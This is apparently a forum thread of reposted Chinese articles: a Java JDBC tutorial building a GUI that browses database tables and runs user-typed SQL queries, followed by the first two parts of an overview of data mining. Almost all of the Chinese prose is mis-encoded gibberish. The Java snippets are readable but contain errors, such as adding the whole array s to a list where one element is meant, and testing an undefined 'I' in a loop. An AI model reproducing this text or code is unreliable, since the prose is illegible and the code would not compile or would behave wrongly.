ΪÁ˶ÔÎÒÃDZ¾ÕÂѧϰµÄÄÚÈݽøÐÐ×ܽᣬÎÒÃDZàдһ¸ö¼òµ¥µÄ GUI ³ÌÐò£¬Ëü¿ÉÒÔÏÔʾÊý¾Ý¿âµÄ±íÃû¡¢ÁÐÃûºÍÁÐÄÚÈÝ¡£ÎÒÃÇ»¹½«°üÀ¨Ò»¸öÎı¾ÇøÓò£¬Äú¿ÉÒÔÔÚÆäÖмüÈëÒ»¸öÒª¶ÔÊý¾Ý¿âÖ´ÐÐµÄ SQL ²éѯ¡£ÔÚ Companion CD-ROM É쵀 \chapter20 ×ÓĿ¼ÖУ¬¿ÉÒÔÕÒµ½±¾³ÌÐò£¨³ÆΪ dbFrame.java£©ËùʹÓÃµÄ resultSet ºÍ Database Àà¡£³ÌÐòµÄÏÔʾ½çÃæÈçͼ 3 Ëùʾ¡£


ͼ 3£ºÓÃÀ´ÏÔʾÓà JDBC Á¬½ÓµÄÊý¾Ý¿âÖеÄÊý¾ÝµÄ dbFrame.java ³ÌÐò¡£

ÔÚ±¾³ÌÐòÖУ¬Ä¬ÈÏÊý¾Ý¿â (groceries.mdb) µÄ±íÃûÏÔʾÔÚ×ó²àµÄÀ¸ÖС£µ±Äúµ¥»÷ÆäÖÐÒ»¸ö±íÃûʱ£¬ÁÐÃû¾Í»áÏÔʾÔÚÖмäµÄÀ¸ÖС£×îºó£¬µ±Äúµ¥»÷ÖмäÀ¸ÖеÄijһÐÐʱ£¬¸ÃÐеÄÄÚÈݾͻáÏÔʾÔÚÓÒ²àµÄÀ¸ÖС£

±¾³ÌÐòµÄ¹Ø¼üÖ»ÊǽÓÊÕÁбíÑ¡Ôñ£¬È»ºóÇå³ý²¢Ìî³äÕýÈ·µÄÁбí¿ò£º

public void itemStateChanged(ItemEvent e)
{
Object obj = e.getSource();
if (obj == Tables) //·ÅÈëÁÐÃû
showColumns();
if (obj == Columns) //·ÅÈëÁеÄÄÚÈÝ
showData();
}
//--
private void loadList(List list, String[] s)
{
//Çå³ý²¢Ìî³äÖ¸¶¨µÄÁбí¿ò
list.removeAll();
for (int i=0; i< s.length; i++)
list.add(s);
}
//--
private void showColumns()
{
//ÏÔʾÁÐÃû
String cnames[] =
db.getColumnNames(Tables.getSelectedItem());
loadList(Columns, cnames);
}
//--
private void showData()
{
String colname = Columns.getSelectedItem();
String colval =
db.getColumnValue(Tables.getSelectedItem(),
colname);
Data.setVisible(false);
Data.removeAll();
Data.setVisible(true);
colval =
db.getNextValue(Columns.getSelectedItem());
while (colval.length()>0)
{
Data.add(colval);
colval =
db.getNextValue(Columns.getSelectedItem());
}
}

Ö´Ðвéѯ
ÏÔʾ»­Ãæµ×²¿µÄÎı¾ÇøÓòʹÄú¿É¼üÈëËùÐèµÄÈκΠSQL ²éѯ¡£ÑÝʾ³ÌÐòÖй¹½¨µÄÒ»¸ö²éѯÈçÏÂËùʾ£º
String queryText =
"SELECT DISTINCTROW FoodName, StoreName, Price "+
"FROM (Food INNER JOIN FoodPrice ON "+
"Food.FoodKey = FoodPrice.FoodKey) " +
"INNER JOIN Stores ON "+
"FoodPrice.StoreKey = Stores.StoreKey "+
"WHERE (((Food.FoodName)=\¡äOranges\¡ä)) "+
" ORDER BY FoodPrice.Price;";

´Ë²éѯ¼òµ¥µØÁгöÿ¸öÔÓ»õµêµÄ½Û×Ó¼Û¸ñ¡£
µ±Äúµ¥»÷ Run Query °´Å¥Ê±£¬Ëü½«Ö´Ðд˲éѯ£¬²¢½« resultSet ¶ÔÏó´«Ë͸øÒ»¸ö¶Ô»°¿ò½øÐÐÏÔʾ£º

public void actionPerformed(ActionEvent e)
{
Object obj = e.getSource();
if (obj == Quit)
System.exit(0);
if (obj == Search)
clickedSearch();
}
//--
private void clickedSearch()
{
resultSet rs = db.Execute(query.getText());
String cnames[] = rs.getMetaData();

queryDialog q = new queryDialog(this, rs);
q.show();
}

²éѯ½á¹û¶Ô»°¿ò
²éѯ¶Ô»°¿ò»ñµÃ resultSet ¶ÔÏ󣬲¢½«Ã¿Ò»ÐзÅÈëÒ»¸ö String Êý×éÖУ¬È»ºó½«ÕâЩ String Êý×é·ÅÈëÒ»¸ö Vector ÖУ¬ÕâÑù¾Í¿ÉÒÔÔÚ paint() ×Ó³ÌÐòÔËÐÐÆÚ¼ä¿ìËÙ·ÃÎÊÕâЩÐС£
private void makeTables()
{
//½«Ã¿Ò»ÐзÅÈëÒ»¸ö String Êý×éÖУ¬²¢½«
//ÕâЩ×Ö·û´®Êý×éÈ«²¿·ÅÈëÒ»¸ö Vector ÖÐ
tables = new Vector();
String t[] = results.getMetaData();
tables.addElement( t);
while (results.hasMoreElements())
tables.addElement(results.nextElement());
}

ÎÒÃÇͨ¹ý Graphics µÄ drawString() ·½·¨½«Êý¾Ý»æÖÆÔÚÒ»¸ö Panel ÖС£¾ÍÏñÔÚ Printer ¶ÔÏóÖÐÒ»Ñù£¬ÎÒÃDZØÐë×Ô¼º¸ú×Ù x ºÍ y µÄλÖá£
public void paint(Graphics g)
{
String s[];
int x=0;
//¼ÆËã×ÖÌåµÄ¸ß¶È
int y =g.getFontMetrics().getHeight();
//¹ÀËãÁеĸ߶È
int deltaX = (int)1.5f*
(g.getFontMetrics().stringWidth("wwwwwwwwwwwwww"));
//±éÀú±íʸÁ¿
for (int i=0; i< tables.size(); i++)
{
s = (String[])tables.elementAt(i);
//»æÖÆ×Ö·û´®Êý×éÖеÄÿһÐÐ
for (int j =0; j< s.length; j++)
{
String st= s[j];
g.drawString(st, x, y);
x += deltaX; //ÒƵ½ÏÂÒ»ÁÐ
}
x = 0; //¿ªÊ¼Ò»¸öÐÂÐÐ
y += g.getFontMetrics().getHeight();
//ÁбêÇ©ÓëÁÐÊý¾ÝÖ®¼äµÄ¶îÍâ¿Õ¼ä
if (I == 0) y += g.getFontMetrics().getHeight();
}
}

ÄÚ½¨²éѯµÄ queryDialog Èçͼ 4 Ëùʾ¡£


ͼ 4£ºdbFrame ³ÌÐòÖÐ ÏÔʾµÄ queryDialog£¬ÆäÖÐÏÔʾµÄÊÇĬÈϲéѯµÄ½á¹û¡£

ʾÀýÎļþ
groceries.zip
dbFrame.zip
jdbc-odbc Bridge
С½á
ÔÚ±¾ÎÄÖУ¬ÎÒÃÇÌÖÂÛÁËÊý¾Ý¿âÒÔ¼°¼ìÑéÊý¾Ý¿â²¢¶ÔÊý¾Ý¿âÖ´ÐвéѯµÄ·½·¨¡£ÎÒÃÇÒѾ­¿´µ½£¬JDBC ÌṩÁËÒ»ÖÖÓëƽ̨ºÍÊý¾Ý¿âÎ޹صġ¢ÃæÏò¶ÔÏóµÄ·½·¨À´·ÃÎÊÕâЩÊý¾Ý£¬ÎÒÃÇ»¹Ñ§Ï°ÁË JDBC µÄÖ÷Òª¶ÔÏó£ºResultSet¡¢ResultSetMetaData ºÍ DatabaseMetaData¡£ÔÚÓÃÕâЩ¶ÔÏó±àдÁËÒ»¸ö¼òµ¥µÄ³ÌÐòÖ®ºó£¬ÎÒÃÇÉè¼ÆÁ˸ü¸ß¼¶±ðµÄ resultSet ºÍ Database ¶ÔÏó£¬ÎÒÃÇÓÃËüÃǹ¹½¨ÁËÒ»¸ö¼òµ¥µÄ¿ÉÊÓ»¯½çÃæÀ´ÏÔʾÊý¾Ý¿âÐÅÏ¢¡£
Èç¹ûÄúÊìϤÊý¾Ý¿âµÄÇ¿´ó¹¦ÄÜ£¬¾Í»áÈÏʶµ½ SQL ÓïÑÔ¿ÉʹÄúÖ´ÐбÈÎÒÃÇ´Ë´¦ËùÊö²Ù×÷¸üÇ¿´óµÄÈÎÎñ¡£ÀýÈ磬Äú¿ÉÒÔ´´½¨ÐÂ±í¡¢Ìí¼Ó¡¢¸ü¸Ä»òɾ³ý±íµÄÐС¢Áлòµ¥¸ö±íÔª¡£Ê¹Óà JDBC£¬ËùÓÐÕâÒ»Çж¼±äµÃͨÓúÍÒ×ÓÚ´¦Àí¡£

Èç¹ûÄúʹÓõÄÊÇÌض¨Æ½Ì¨µÄÊý¾Ý¿âÇý¶¯³ÌÐò£¬Èç JDBC-ODBC Bridge£¬ÔòÄúÔÚ±àдӦÓóÌÐòʱ»áÊܵ½ÏÞÖÆ£¬ÒòΪ applet ²»ÄÜÁ¬½ÓÔÚÁíһ̨¼ÆËã»úÉÏÔËÐеÄÕâ¸öÇÅ¡£ÆäËû¿Í»§»ú-·þÎñÆ÷Êý¾Ý¿â£¬Èç IBM µÄ DB2£¬ÔÊÐíÄúʹÓà applet ÖÐµÄ JDBC ÓëÆäÁ¬½Ó¡£
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-15 13:28
Êý¾Ý¿âµÄÊý¾ÝÍÚ¾ò¸ÅÊö£¨Ò»£©¡·  
£Û ×÷ÕߣºØýÃû    תÌù×Ô£º±¾Õ¾Ô­´´    µã»÷Êý£º2    ¸üÐÂʱ¼ä£º2003-11-26    ÎÄÕ¼È룺cxmy £Ý

Ëæ×ÅÊý¾Ý¿â¼¼ÊõµÄ²»¶Ï·¢Õ¹¼°Êý¾Ý¿â¹ÜÀíϵͳµÄ¹ã·ºÓ¦Óã¬Êý¾Ý¿âÖд洢µÄÊý¾ÝÁ¿¼±¾çÔö´ó£¬ÔÚ´óÁ¿µÄÊý¾Ý±³ºóÒþ²Ø×ÅÐí¶àÖØÒªµÄÐÅÏ¢£¬Èç¹ûÄÜ°ÑÕâЩÐÅÏ¢´ÓÊý¾Ý¿âÖгéÈ¡³öÀ´£¬½«Îª¹«Ë¾´´ÔìºÜ¶àDZÔÚµÄÀûÈ󣬶øÕâÖÖ´Óº£Á¿Êý¾Ý¿âÖÐÍÚ¾òÐÅÏ¢µÄ¼¼Êõ£¬¾Í³Æ֮ΪÊý¾ÝÍÚ¾ò¡£
Êý¾ÝÍÚ¾ò¹¤¾ßÄܹ»¶Ô½«À´µÄÇ÷ÊƺÍÐÐΪ½øÐÐÔ¤²â£¬´Ó¶øºÜºÃµØÖ§³ÖÈËÃǵľö²ß£¬±ÈÈ磬¾­¹ý¶Ô¹«Ë¾Õû¸öÊý¾Ý¿âϵͳµÄ·ÖÎö£¬Êý¾ÝÍÚ¾ò¹¤¾ß¿ÉÒԻشðÖîÈç¡°Äĸö¿Í»§¶ÔÎÒÃǹ«Ë¾µÄÓʼþÍÆÏú»î¶¯×îÓпÉÄÜ×÷³ö·´Ó¦£¬ÎªÊ²Ã´¡±µÈÀàËƵÄÎÊÌâ¡£ÓÐЩÊý¾ÝÍÚ¾ò¹¤¾ß»¹Äܹ»½â¾öһЩºÜÏûºÄÈ˹¤Ê±¼äµÄ´«Í³ÎÊÌ⣬ÒòΪËüÃÇÄܹ»¿ìËÙµØä¯ÀÀÕû¸öÊý¾Ý¿â£¬ÕÒ³öһЩר¼ÒÃDz»Òײì¾õµÄ¼«ÓÐÓõÄÐÅÏ¢¡£

ÏÂÎĽ«¶ÔÊý¾ÝÍÚ¾òµÄ»ù±¾¼¼Êõ×÷Ò»¸ö¼òµ¥µÄ½éÉÜ¡£

Êý¾ÝÍÚ¾òµÄ»ù´¡

Êý¾ÝÍÚ¾ò¼¼ÊõÊÇÈËÃdz¤ÆÚ¶ÔÊý¾Ý¿â¼¼Êõ½øÐÐÑо¿ºÍ¿ª·¢µÄ½á¹û¡£Æð³õ¸÷ÖÖÉÌÒµÊý¾ÝÊÇ´æ´¢ÔÚ¼ÆËã»úµÄÊý¾Ý¿âÖеģ¬È»ºó·¢Õ¹µ½¿É¶ÔÊý¾Ý¿â½øÐвéѯºÍ·ÃÎÊ£¬½ø¶ø·¢Õ¹µ½¶ÔÊý¾Ý¿âµÄ¼´Ê±±éÀú¡£Êý¾ÝÍÚ¾òʹÊý¾Ý¿â¼¼Êõ½øÈëÁËÒ»¸ö¸ü¸ß¼¶µÄ½×
¶Î£¬Ëü²»½öÄܶԹýÈ¥µÄÊý¾Ý½øÐвéѯºÍ±éÀú£¬²¢ÇÒÄܹ»ÕÒ³ö¹ýÈ¥Êý¾ÝÖ®¼äµÄDZÔÚÁªÏµ£¬´Ó¶ø´Ù½øÐÅÏ¢µÄ´«µÝ¡£ÏÖÔÚÊý¾ÝÍÚ¾ò¼¼ÊõÔÚÉÌÒµÓ¦ÓÃÖÐÒѾ­¿ÉÒÔÂíÉÏͶÈëʹÓã¬ÒòΪ¶ÔÕâÖÖ¼¼Êõ½øÐÐÖ§³ÖµÄÈýÖÖ»ù´¡¼¼ÊõÒѾ­·¢Õ¹³ÉÊ죬ËûÃÇÊÇ£º

º£Á¿Êý¾ÝËѼ¯
Ç¿´óµÄ¶à´¦ÀíÆ÷¼ÆËã»ú
Êý¾ÝÍÚ¾òËã·¨

ÉÌÒµÊý¾Ý¿âÏÖÔÚÕýÔÚÒÔÒ»¸ö¿ÕÇ°µÄËÙ¶ÈÔö³¤£¬²¢ÇÒÊý¾Ý²Ö¿âÕýÔڹ㷺µØÓ¦ÓÃÓÚ¸÷ÖÖÐÐÒµ£»¶Ô¼ÆËã»úÓ²¼þÐÔÄÜÔ½À´Ô½¸ßµÄÒªÇó£¬Ò²¿ÉÒÔÓÃÏÖÔÚÒѾ­³ÉÊìµÄ²¢ÐжദÀí»úµÄ¼¼ÊõÀ´Âú×㣻ÁíÍâÊý¾ÝÍÚ¾òËã·¨¾­¹ýÁËÕâ10¶àÄêµÄ·¢Õ¹Ò²ÒѾ­³ÉΪһÖÖ³ÉÊ죬Îȶ¨£¬ÇÒÒ×ÓÚÀí½âºÍ²Ù×÷µÄ¼¼Êõ¡£

´ÓÉÌÒµÊý¾Ýµ½ÉÌÒµÐÅÏ¢µÄ½ø»¯¹ý³ÌÖУ¬Ã¿Ò»²½Ç°½ø¶¼Êǽ¨Á¢ÔÚÉÏÒ»²½µÄ»ù´¡Éϵġ£¼ûÏÂ±í¡£±íÖÐÎÒÃÇ¿ÉÒÔ¿´µ½£¬µÚËIJ½½ø»¯ÊǸïÃüÐԵģ¬ÒòΪ´ÓÓû§µÄ½Ç¶ÈÀ´¿´£¬ÕâÒ»½×¶ÎµÄÊý¾Ý¿â¼¼ÊõÒѾ­¿ÉÒÔ¿ìËٵػشðÉÌÒµÉϵĺܶàÎÊÌâÁË¡£

½ø»¯½×¶Î ÉÌÒµÎÊÌâ Ö§³Ö¼¼Êõ ²úÆ·³§¼Ò ²úÆ·Ìصã Êý¾ÝËѼ¯
(60Äê´ú) ¡°¹ýÈ¥ÎåÄêÖÐÎÒµÄ×ÜÊÕÈëÊǶàÉÙ£¿¡± ¼ÆËã»ú¡¢´Å´øºÍ´ÅÅÌ IBM, CDC ÌṩÀúÊ·ÐԵġ¢¾²Ì¬µÄÊý¾ÝÐÅÏ¢ Êý¾Ý·ÃÎÊ
(80Äê´ú) ¡°ÔÚÐÂÓ¢¸ñÀ¼µÄ·Ö²¿È¥ÄêÈýÔµÄÏúÊÛ¶îÊǶàÉÙ£¿¡± ¹ØϵÊý¾Ý¿â£¨RDBMS£©£¬½á¹¹»¯²éѯÓïÑÔ£¨SQL£©£¬ODBC Oracle¡¢Sybase¡¢Informix¡¢IBM¡¢Microsoft ÔڼǼ¼¶ÌṩÀúÊ·ÐԵġ¢¶¯Ì¬Êý¾ÝÐÅÏ¢ Êý¾Ý²Ö¿â£»¾ö²ßÖ§³Ö
(90Äê´ú) ¡°ÔÚÐÂÓ¢¸ñÀ¼µÄ·Ö²¿È¥ÄêÈýÔµÄÏúÊÛ¶îÊǶàÉÙ£¿²¨Ê¿¶Ù¾Ý´Ë¿ÉµÃ³öʲô½áÂÛ£¿¡± Áª»ú·ÖÎö´¦Àí£¨OLAP£©¡¢¶àάÊý¾Ý¿â¡¢Êý¾Ý²Ö¿â Pilot¡¢Comshare¡¢Arbor¡¢Cognos¡¢Microstrategy ÔÚ¸÷ÖÖ²ã´ÎÉÏÌṩ»ØËݵġ¢¶¯Ì¬µÄÊý¾ÝÐÅÏ¢ Êý¾ÝÍÚ¾ò
£¨ÕýÔÚÁ÷ÐУ© ¡°Ï¸öÔ²¨Ê¿¶ÙµÄÏúÊÛ»áÔõôÑù£¿ÎªÊ²Ã´£¿¡± ¸ß¼¶Ëã·¨¡¢¶à´¦ÀíÆ÷¼ÆËã»ú¡¢º£Á¿Êý¾Ý¿â Pilot¡¢
Lockheed¡¢IBM¡¢SGI¡¢ÆäËû³õ´´¹«Ë¾ ÌṩԤ²âÐÔµÄÐÅÏ¢

±íÒ»¡¢Êý¾ÝÍÚ¾òµÄ½ø»¯Àú³Ì¡£

Êý¾ÝÍÚ¾òµÄºËÐÄÄ£¿é¼¼ÊõÀú¾­ÁËÊýÊ®ÄêµÄ·¢Õ¹£¬ÆäÖаüÀ¨ÊýÀíͳ¼Æ¡¢È˹¤ÖÇÄÜ¡¢»úÆ÷ѧϰ¡£½ñÌ죬ÕâЩ³ÉÊìµÄ¼¼Êõ£¬¼ÓÉϸßÐÔÄܵĹØϵÊý¾Ý¿âÒýÇæÒÔ¼°¹ã·ºµÄÊý¾Ý¼¯³É£¬ÈÃÊý¾ÝÍÚ¾ò¼¼ÊõÔÚµ±Ç°µÄÊý¾Ý²Ö¿â»·¾³ÖнøÈëÁËʵÓõĽ׶Ρ£ Êý¾ÝÍÚ¾òµÄ·¶Î§

¡°Êý¾ÝÍÚ¾ò¡±Õâ¸öÃû×ÖÀ´Ô´ÓÚËüÓеãÀàËÆÓÚÔÚɽÂöÖÐÍÚ¾òÓмÛÖµµÄ¿ó²Ø¡£ÔÚÉÌÒµÓ¦ÓÃÀËü¾Í±íÏÖΪÔÚ´óÐÍÊý¾Ý¿âÀïÃæËÑË÷ÓмÛÖµµÄÉÌÒµÐÅÏ¢¡£ÕâÁ½ÖÖ¹ý³Ì¶¼ÐèÒª¶Ô¾ÞÁ¿µÄ²ÄÁϽøÐÐÏêϸµØ¹ýÂË£¬²¢ÇÒÐèÒªÖÇÄÜÇÒ¾«È·µØ¶¨Î»Ç±ÔÚ¼ÛÖµµÄËù
ÔÚ¡£¶ÔÓÚ¸ø¶¨ÁË´óСµÄÊý¾Ý¿â£¬Êý¾ÝÍÚ¾ò¼¼Êõ¿ÉÒÔÓÃËüÈçϵij¬ÄÜÁ¦²úÉú¾Þ´óµÄÉÌÒµ»ú»á£º

×Ô¶¯Ç÷ÊÆÔ¤²â¡£Êý¾ÝÍÚ¾òÄÜ×Ô¶¯ÔÚ´óÐÍÊý¾Ý¿âÀïÃæÕÒѰDZÔÚµÄÔ¤²âÐÅÏ¢¡£´«Í³ÉÏÐèÒªºÜ¶àר¼ÒÀ´½øÐзÖÎöµÄÎÊÌ⣬ÏÖÔÚ¿ÉÒÔ¿ìËÙ¶øÖ±½ÓµØ´ÓÊý¾ÝÖмäÕÒµ½´ð°¸¡£Ò»¸öµäÐ͵ÄÀûÓÃÊý¾ÝÍÚ¾ò½øÐÐÔ¤²âµÄÀý×Ó¾ÍÊÇÄ¿±êÓªÏú¡£Êý¾ÝÍÚ¾ò¹¤¾ß¿ÉÒÔ¸ù¾Ý¹ýÈ¥ÓʼþÍÆÏúÖеĴóÁ¿Êý¾ÝÕÒ³öÆäÖÐ×îÓпÉÄܶԽ«À´µÄÓʼþÍÆÏú×÷³ö·´Ó¦µÄ¿Í»§¡£ ×Ô¶¯Ì½²âÒÔǰδ·¢ÏÖµÄģʽ¡£Êý¾ÝÍÚ¾ò¹¤¾ßɨÃèÕû¸öÊý¾Ý¿â²¢±æÈϳöÄÇЩÒþ²Ø×ŵÄģʽ£¬±ÈÈçͨ¹ý·ÖÎöÁãÊÛÊý¾ÝÀ´±æ±ð³ö±íÃæÉÏ¿´ÆðÀ´Ã»ÁªÏµµÄ²úÆ·£¬Êµ¼ÊÉÏÓкܶàÇé¿öÏÂÊÇÒ»Æð±»ÊÛ³öµÄÇé¿ö¡£

Êý¾ÝÍÚ¾ò¼¼Êõ¿ÉÒÔÈÃÏÖÓеÄÈí¼þºÍÓ²¼þ¸ü¼Ó×Ô¶¯»¯£¬²¢ÇÒ¿ÉÒÔÔÚÉý¼¶µÄ»òÕßпª·¢µÄƽ̨ÉÏÖ´ÐС£µ±Êý¾ÝÍÚ¾ò¹¤¾ßÔËÐÐÓÚ¸ßÐÔÄܵIJ¢Ðд¦ÀíϵͳÉϵÄʱºò£¬ËüÄÜÔÚÊý·ÖÖÓÄÚ·ÖÎöÒ»¸ö³¬´óÐ͵ÄÊý¾Ý¿â¡£ÕâÖÖ¸ü¿ìµÄ´¦ÀíËÙ¶ÈÒâζ×ÅÓû§Óиü¶àµÄ»ú»áÀ´·ÖÎöÊý¾Ý£¬È÷ÖÎöµÄ½á¹û¸ü¼Ó׼ȷ¿É¿¿£¬²¢ÇÒÒ×ÓÚÀí½â¡£ Êý¾Ý¿â¿ÉÒÔÓÉ´ËÍØÕ¹Éî¶ÈºÍ¹ã¶È

Éî¶ÈÉÏ£¬ÔÊÐíÓиü¶àµÄÁдæÔÚ¡£ÒÔÍù£¬ÔÚ½øÐнϸ´ÔÓµÄÊý¾Ý·ÖÎöʱ£¬×¨¼ÒÃÇÏÞÓÚʱ¼äÒòËØ£¬²»µÃ²»¶Ô²Î¼ÓÔËËãµÄ±äÁ¿ÊýÁ¿¼ÓÒÔÏÞÖÆ£¬µ«ÊÇÄÇЩ±»¶ªÆú¶øûÓвμÓÔËËãµÄ±äÁ¿ÓпÉÄÜ°üº¬×ÅÁíһЩ²»ÎªÈËÖªµÄÓÐÓÃÐÅÏ¢¡£ÏÖÔÚ£¬¸ßÐÔÄܵÄÊý¾ÝÍÚ¾ò¹¤¾ßÈÃÓû§¶ÔÊý¾Ý¿âÄܽøÐÐͨÅ̵ÄÉî¶È±àÀú£¬²¢ÇÒÈκοÉÄܲÎÑ¡µÄ±äÁ¿¶¼±»¿¼ÂǽøÈ¥£¬ÔÙ²»ÐèҪѡÔñ±äÁ¿µÄ×Ó¼¯À´½øÐÐÔËËãÁË¡£

¹ã¶ÈÉÏ£¬ÔÊÐíÓиü¶àµÄÐдæÔÚ¡£¸ü´óµÄÑù±¾ÈòúÉú´íÎóºÍ±ä»¯µÄ¸ÅÂʽµµÍ£¬ÕâÑùÓû§¾ÍÄܸü¼Ó¾«È·µØÍƵ¼³öһЩËäСµ«ÆÄΪÖØÒªµÄ½áÂÛ¡£ ×î½ü£¬Gartner GroupµÄÒ»´Î¸ß¼¶¼¼Êõµ÷²é½«Êý¾ÝÍÚ¾òºÍÈ˹¤ÖÇÄÜÁÐΪ¡°Î´À´Èýµ½ÎåÄêÄÚ½«¶Ô¹¤Òµ²úÉúÉîÔ¶Ó°ÏìµÄÎå´ó¹Ø¼ü¼¼Êõ¡±Ö®Ê×£¬²¢ÇÒ»¹½«²¢Ðд¦ÀíÌåϵºÍÊý¾ÝÍÚ¾òÁÐΪδÀ´ÎåÄêÄÚͶ×ʽ¹µãµÄÊ®´óÐÂÐ˼¼ÊõÇ°Á½Î»¡£¸ù¾Ý×î½üGartnerµÄHPCÑо¿±íÃ÷£¬¡°Ëæ×ÅÊý¾Ý²¶»ñ¡¢´«ÊäºÍ´æ´¢¼¼ÊõµÄ¿ìËÙ·¢Õ¹£¬´óÐÍϵͳÓû§½«¸ü¶àµØÐèÒª²ÉÓÃм¼ÊõÀ´ÍÚ¾òÊг¡ÒÔÍâµÄ¼ÛÖµ£¬²ÉÓøüΪ¹ãÀ«µÄ²¢Ðд¦ÀíϵͳÀ´´´½¨ÐµÄÉÌÒµÔö³¤µã¡£¡±

ÔÚÊý¾ÝÍÚ¾òÖÐ×î³£Óõļ¼ÊõÓУº

È˹¤Éñ¾­ÍøÂ磺·ÂÕÕÉúÀíÉñ¾­ÍøÂç½á¹¹µÄ·ÇÏßÐÎÔ¤²âÄ£ÐÍ£¬Í¨¹ýѧϰ½øÐÐģʽʶ±ð¡£

¾ö²ßÊ÷£º´ú±íמö²ß¼¯µÄÊ÷Ðνṹ¡£

ÒÅ´«Ëã·¨£º»ùÓÚ½ø»¯ÀíÂÛ£¬²¢²ÉÓÃÒÅ´«½áºÏ¡¢ÒÅ´«±äÒì¡¢ÒÔ¼°×ÔȻѡÔñµÈÉè¼Æ·½·¨µÄÓÅ»¯¼¼Êõ¡£

½üÁÚËã·¨£º½«Êý¾Ý¼¯ºÏÖÐÿһ¸ö¼Ç¼½øÐзÖÀàµÄ·½·¨¡£

¹æÔòÍƵ¼£º´Óͳ¼ÆÒâÒåÉ϶ÔÊý¾ÝÖеġ°Èç¹û-ÄÇô¡±¹æÔò½øÐÐÑ°ÕÒºÍÍƵ¼¡£

²ÉÓÃÉÏÊö¼¼ÊõµÄijЩרÃŵķÖÎö¹¤¾ßÒѾ­·¢Õ¹ÁË´óԼʮÄêµÄÀúÊ·£¬²»¹ýÕâЩ¹¤¾ßËùÃæ¶ÔµÄÊý¾ÝÁ¿Í¨³£½ÏС¡£¶øÏÖÔÚÕâЩ¼¼ÊõÒѾ­±»Ö±½Ó¼¯³Éµ½Ðí¶à´óÐ͵Ĺ¤Òµ±ê×¼µÄÊý¾Ý²Ö¿âºÍÁª»ú·ÖÎöϵͳÖÐÈ¥ÁË¡£
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-15 13:29
¡¶Êý¾Ý¿âµÄÊý¾ÝÍÚ¾ò¸ÅÊö£¨¶þ£©¡·  
£Û ×÷ÕߣºØýÃû    תÌù×Ô£º±¾Õ¾Ô­´´    µã»÷Êý£º2    ¸üÐÂʱ¼ä£º2003-11-26    ÎÄÕ¼È룺cxmy £Ý

Êý¾ÝÍÚ¾ò¹¤¾ßÊÇÔõÑù׼ȷµØ¸æËßÄãÄÇЩÒþ²ØÔÚÊý¾Ý¿âÉî´¦µÄÖØÒªÐÅÏ¢µÄÄØ£¿ËüÃÇÓÖÊÇÈçºÎ×÷³öÔ¤²âµÄ£¿´ð°¸¾ÍÊǽ¨Ä£¡£½¨Ä£Êµ¼ÊÉϾÍÊÇÔÚÄãÖªµÀ½á¹ûµÄÇé¿öϽ¨Á¢ÆðÒ»ÖÖÄ£ÐÍ£¬²¢ÇÒ°ÑÕâÖÖÄ£ÐÍÓ¦Óõ½ÄãËù²»ÖªµÀµÄÄÇÖÖÇé¿öÖС£±ÈÈç˵£¬Èç¹ûÄãÏëÒªÔÚ´óº£ÉÏȥѰÕÒÒ»ËÒ¹ÅÀϵÄÎ÷°àÑÀ³Á´¬£¬Ò²ÐíÄãÊ×ÏÈÏëµ½µÄ¾ÍÊÇÈ¥ÕÒÕÒ¹ýÈ¥·¢ÏÖÕâЩ±¦²ØµÄʱ¼äºÍµØµãÓÐÄÄЩ¡£ÄÇô£¬¾­¹ýµ÷²éÄã·¢ÏÖÕâЩ³Á´¬´ó²¿·Ö¶¼ÊÇÔÚ°ÙĽ´óº£Çø±»·¢ÏÖ£¬²¢ÇÒÄǸöº£ÇøÓÐ×ÅijÖÖÌØÕ÷µÄÑóÁ÷£¬ÒÔ¼°ÄǸöʱ´úµÄº½ÏßÒ²ÓÐÒ»¶¨µÄÌØÕ÷¿ÉÑ°¡£ÔÚÕâÖÚ¶àµÄÀàËÆÌØÕ÷ÖУ¬Ä㽫ËüÃdzéÏ󲢸ÅÀ¨ÎªÒ»¸öÆÕÊʵÄÄ£ÐÍ¡£ÀûÓÃÕâ¸öÄ£ÐÍ£¬Äã¾ÍºÜÓÐÏ£ÍûÔÚ¾ßÓдóÁ¿ÏàͬÌØÕ÷µÄÁíÍâÒ»¸öµØµã·¢ÏÖÒ»¼þ²»ÎªÈËÖªµÄ±¦²Ø¡£

µ±È»£¬ÔÚÊý¾ÝÍÚ¾ò¼¼ÊõÉõÖÁ¼ÆËã»ú³öÏÖÒÔÇ°£¬ÕâÖÖ½¨Ä£³éÏóµÄ·½·¨¾ÍÒѾ­¹ã·ºµØ±»ÈËÃÇËùʹÓá£ÔÚ¼ÆËã»úÖеĽ¨Ä£ºÍÒÔÇ°µÄ½¨Ä£·½·¨²¢Î޺ܴó²»Í¬£¬Ö÷ÒªµÄ²îÒìÔÚÓÚ¼ÆËã»úÄÜ´¦ÀíµÄÐÅÏ¢Á¿±ÈÆðÒÔÇ°À´¸ü¼ÓÅÓ´ó¡£¼ÆËã»úÖÐÄܹ»´æ´¢ÒÑÖªÁ˽á¹ûµÄ´óÁ¿²»Í¬Çé¿ö£¬È»ºóÓÉÊý¾ÝÍÚ¾ò¹¤¾ß´ÓÕâЩ´óÁ¿µÄÐÅÏ¢ÀïÃæÅûɳ¼ð½ð£¬½«Äܹ»²úÉúÄ£Ð͵ÄÐÅÏ¢ÌáÈ¡³öÀ´¡£Ò»µ±Ä£Ðͽ¨Á¢ºÃÁËÖ®ºó£¬¾Í¿ÉÒÔÓ¦ÓÃÔÚÄÇЩÇéÐÎÏàËƵ«½á¹ûÉÐδ֪µÄÅжÏÖÐÁË¡£±ÈÈ磬ÏÖÔÚ¼ÙÉèÄãÊÇÒ»¸öµçÐŹ«Ë¾µÄÓªÏúÖ÷ÈΣ¬¹«Ë¾Ï뷢չһЩеij¤Í¾µç»°Óû§£¬ÄÇôÄãÊDz»ÊÇ»áÂþÎÞÄ¿µÄµØµ½½ÖÉÏȥɢ·¢¹ã¸æÄØ£¿¡ª¡ª¾ÍÏóÂþÎÞÄ¿µÄµØÔÚº£ÉÏȥѰ±¦Ò»Ñù¡£Æäʵ£¬±ÈÆðÂþÎÞÄ¿µÄµØÈ¥½øÐÐÐû´«À´£¬ÀûÓÃÄãÒÔÇ°µÄÉÌÒµ¾­ÑéÀ´ÓÐÄ¿µÄµØÈ¥À­Â£¿Í»§»á²úÉú¸ßµÃ¶àµÄЧÂÊ¡£

